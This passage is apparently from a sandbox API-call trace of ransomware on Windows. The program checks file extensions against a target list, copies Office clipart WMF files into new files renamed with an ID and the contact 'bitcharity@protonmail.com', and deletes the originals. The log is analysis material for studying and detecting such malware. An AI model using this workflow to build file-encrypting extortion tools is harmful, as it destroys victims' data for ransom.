returned 1 [0152.217] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.217] SetEndOfFile (hFile=0x10d0) returned 1 [0152.218] CloseHandle (hObject=0x10d0) returned 1 [0152.221] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.221] SetEndOfFile (hFile=0x10b4) returned 1 [0152.222] CloseHandle (hObject=0x10b4) returned 1 [0152.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.223] lstrlenW (lpString=".doc") returned 4 [0152.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.223] lstrlenW (lpString=".docx") returned 5 [0152.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.223] lstrlenW (lpString=".pdf") returned 4 [0152.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.223] lstrlenW (lpString=".xls") returned 4 [0152.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.223] lstrlenW (lpString=".xlsx") returned 5 [0152.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.223] lstrlenW (lpString=".ppt") returned 4 [0152.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.223] lstrlenW (lpString=".zip") returned 4 [0152.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.223] lstrlenW (lpString=".rar") returned 4 [0152.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString=".bz2") returned 4 [0152.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString=".7z") returned 3 [0152.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.224] lstrlenW (lpString=".dbf") returned 4 [0152.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.224] lstrlenW (lpString=".1cd") returned 4 [0152.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.224] lstrlenW (lpString=".jpg") returned 4 [0152.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.224] lstrlenW (lpString=".doc") returned 4 [0152.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString=".docx") returned 5 [0152.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.224] lstrlenW (lpString=".pdf") returned 4 [0152.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.224] lstrlenW (lpString=".xls") returned 4 [0152.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.224] lstrlenW (lpString=".xlsx") returned 5 [0152.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.224] lstrlenW (lpString=".ppt") returned 4 [0152.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.225] lstrlenW (lpString=".zip") returned 4 [0152.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.225] lstrlenW (lpString=".rar") returned 4 [0152.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.225] lstrlenW (lpString=".bz2") returned 4 [0152.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.225] lstrlenW (lpString=".7z") returned 3 [0152.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.225] lstrlenW (lpString=".dbf") returned 4 [0152.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.225] lstrlenW (lpString=".1cd") returned 4 [0152.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0152.225] lstrlenW (lpString=".jpg") returned 4 [0152.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.225] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.225] lstrlenW (lpString="AN04323_.WMF") returned 12 [0152.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.226] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=2492) returned 1 [0152.226] CloseHandle (hObject=0x10b4) returned 1 [0152.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0152.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.226] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.226] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.616] GetLastError () returned 0x0 [0152.616] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0152.643] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0152.644] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.644] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.644] SetEndOfFile (hFile=0x1098) returned 1 [0152.644] CloseHandle (hObject=0x1098) returned 1 [0152.645] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.645] SetEndOfFile (hFile=0x10b4) returned 1 [0152.646] CloseHandle (hObject=0x10b4) returned 1 [0152.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString=".doc") returned 4 [0152.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString=".docx") returned 5 [0152.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.647] lstrlenW (lpString=".pdf") returned 4 [0152.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString=".xls") returned 4 [0152.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.647] lstrlenW (lpString=".xlsx") returned 5 [0152.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.647] lstrlenW (lpString=".ppt") returned 4 [0152.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString=".zip") returned 4 [0152.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.647] lstrlenW (lpString=".rar") returned 4 [0152.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString=".bz2") returned 4 [0152.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString=".7z") returned 3 [0152.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString=".dbf") returned 4 [0152.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString=".1cd") returned 4 [0152.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.647] lstrlenW (lpString=".jpg") returned 4 [0152.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString=".doc") returned 4 [0152.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString=".docx") returned 5 [0152.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.648] lstrlenW (lpString=".pdf") returned 4 [0152.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString=".xls") returned 4 [0152.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.648] lstrlenW (lpString=".xlsx") returned 5 [0152.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.648] lstrlenW (lpString=".ppt") returned 4 [0152.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString=".zip") returned 4 [0152.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.648] lstrlenW (lpString=".rar") returned 4 [0152.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString=".bz2") returned 4 [0152.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString=".7z") returned 3 [0152.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString=".dbf") returned 4 [0152.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString=".1cd") returned 4 [0152.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0152.648] lstrlenW (lpString=".jpg") returned 4 [0152.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.649] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.649] lstrlenW (lpString="BD00160_.WMF") returned 12 [0152.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.649] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=22516) returned 1 [0152.649] CloseHandle (hObject=0x10b4) returned 1 [0152.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0152.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0152.649] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.649] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.650] GetLastError () returned 0x0 [0152.650] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x57f4, lpOverlapped=0x0) returned 1 [0152.757] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x5800, lpOverlapped=0x0) returned 1 [0152.759] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.759] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.759] SetEndOfFile (hFile=0x1098) returned 1 [0152.759] CloseHandle (hObject=0x1098) returned 1 [0152.770] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.770] SetEndOfFile (hFile=0x10b4) returned 1 [0152.772] CloseHandle (hObject=0x10b4) returned 1 [0152.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.773] lstrlenW (lpString=".doc") returned 4 [0152.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.773] lstrlenW (lpString=".docx") returned 5 [0152.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.773] lstrlenW (lpString=".pdf") returned 4 [0152.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.773] lstrlenW (lpString=".xls") returned 4 [0152.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.773] lstrlenW (lpString=".xlsx") returned 5 [0152.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.773] lstrlenW (lpString=".ppt") returned 4 [0152.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString=".zip") returned 4 [0152.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.774] lstrlenW (lpString=".rar") returned 4 [0152.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString=".bz2") returned 4 [0152.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString=".7z") returned 3 [0152.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString=".dbf") returned 4 [0152.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString=".1cd") returned 4 [0152.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString=".jpg") returned 4 [0152.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.774] lstrlenW (lpString=".doc") returned 4 [0152.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.774] lstrlenW (lpString=".docx") returned 5 [0152.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.774] lstrlenW (lpString=".pdf") returned 4 [0152.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString=".xls") returned 4 [0152.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.775] lstrlenW (lpString=".xlsx") returned 5 [0152.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.775] lstrlenW (lpString=".ppt") returned 4 [0152.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.775] lstrlenW (lpString=".zip") returned 4 [0152.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.775] lstrlenW (lpString=".rar") returned 4 [0152.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString=".bz2") returned 4 [0152.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString=".7z") returned 3 [0152.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.775] lstrlenW (lpString=".dbf") returned 4 [0152.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.775] lstrlenW (lpString=".1cd") returned 4 [0152.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 68 [0152.775] lstrlenW (lpString=".jpg") returned 4 [0152.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.776] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.776] lstrlenW (lpString="BD07761_.WMF") returned 12 [0152.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.809] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=26748) returned 1 [0152.809] CloseHandle (hObject=0x10d0) returned 1 [0152.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0152.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0152.810] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.810] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0152.818] GetLastError () returned 0x0 [0152.818] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x687c, lpOverlapped=0x0) returned 1 [0152.865] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x6880, lpOverlapped=0x0) returned 1 [0152.866] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.867] WriteFile (in: hFile=0x10d8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.867] SetEndOfFile (hFile=0x10d8) returned 1 [0152.867] CloseHandle 